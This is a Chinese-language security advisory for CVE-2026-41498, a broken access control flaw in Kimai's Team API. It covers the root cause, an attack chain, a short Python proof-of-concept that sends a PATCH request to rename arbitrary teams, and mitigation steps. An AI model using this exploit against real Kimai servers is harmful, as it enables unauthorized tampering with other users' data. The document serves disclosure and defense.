CVE-2026-41498 Kimai 权限绕过与越权修改漏洞

漏洞信息

漏洞编号

CVE-2026-41498

漏洞类型

权限提升

CVSS评分

3.3 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Kimai

漏洞概述

Kimai是一款开源的时间追踪应用。其2.54.0之前的版本在Team API端点存在权限配置错误，使用了`#[IsGranted('edit_team')]`而非`#[IsGranted('edit', 'team')]`。这导致Symfony的投票机制失效，跳过了实体级别的所有权检查。因此，任何具备`edit_team`基础权限的用户均可修改任意团队数据，构成越权访问风险。

技术细节

该漏洞的根源在于Kimai后端在处理Team API端点时，错误地配置了Symfony的安全注解。开发者使用了`#[IsGranted('edit_team')]`，这仅检查用户是否拥有全局的编辑权限，而未使用`#[IsGranted('edit', 'team')]`来触发针对特定团队的访问控制。这种配置导致Symfony的`TeamVoter`在决策过程中选择弃权，从而完全绕过了对用户与特定团队之间所有权关系的验证。攻击者若拥有基础的团队编辑权限，即可利用此逻辑缺陷，通过发送构造好的API请求（如PATCH或PUT），直接修改系统中任意团队的配置或数据，实现越权操作。

攻击链分析

STEP 1

1. 信息收集

攻击者获取一个具有'edit_team'基础权限的合法账户凭证（Token/Session）。

STEP 2

2. 确定目标

攻击者通过枚举或猜测确定想要攻击的Team ID（例如target_team_id=3）。

STEP 3

3. 发送恶意请求

攻击者向Team API端点发送PATCH或POST请求，试图修改目标Team ID的数据。

STEP 4

4. 权限校验绕过

服务端由于注解配置错误，TeamVoter弃权投票，系统仅检查了全局权限而未检查所有权。

STEP 5

5. 完成攻击

服务器成功处理请求并返回200 OK，非授权的团队数据被修改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-41498
# Description: Exploits broken access control to modify arbitrary team data.
import requests

def exploit(target_url, team_id, attacker_token, new_team_name):
    headers = {
        "Authorization": f"Bearer {attacker_token}",
        "Content-Type": "application/ld+json"
    }
    # Target endpoint for a specific team
    url = f"{target_url}/api/teams/{team_id}"
    
    # Payload to update team details
    payload = {
        "name": new_team_name
    }
    
    try:
        # Sending PATCH request to modify the team
        response = requests.patch(url, json=payload, headers=headers)
        
        if response.status_code == 200:
            print(f"[+] Success: Team {team_id} renamed to '{new_team_name}'")
            print(f"[+] Response: {response.json()}")
        else:
            print(f"[-] Failed with status code {response.status_code}: {response.text}")
            
    except Exception as e:
        print(f"[-] Error: {str(e)}")

# Usage example
# exploit("http://localhost:8000", 5, "<valid_token_with_edit_team_perm>", "Hacked Team")

影响范围

Kimai < 2.54.0

防御指南

临时缓解措施

建议管理员立即将Kimai应用升级到修复了该漏洞的2.54.0版本。在无法立即升级的情况下，应通过WAF（Web应用防火墙）规则限制对`/api/teams`端点的访问，仅允许特定IP或管理账号调用，并暂时回收非必要用户的`edit_team`权限，直至完成升级。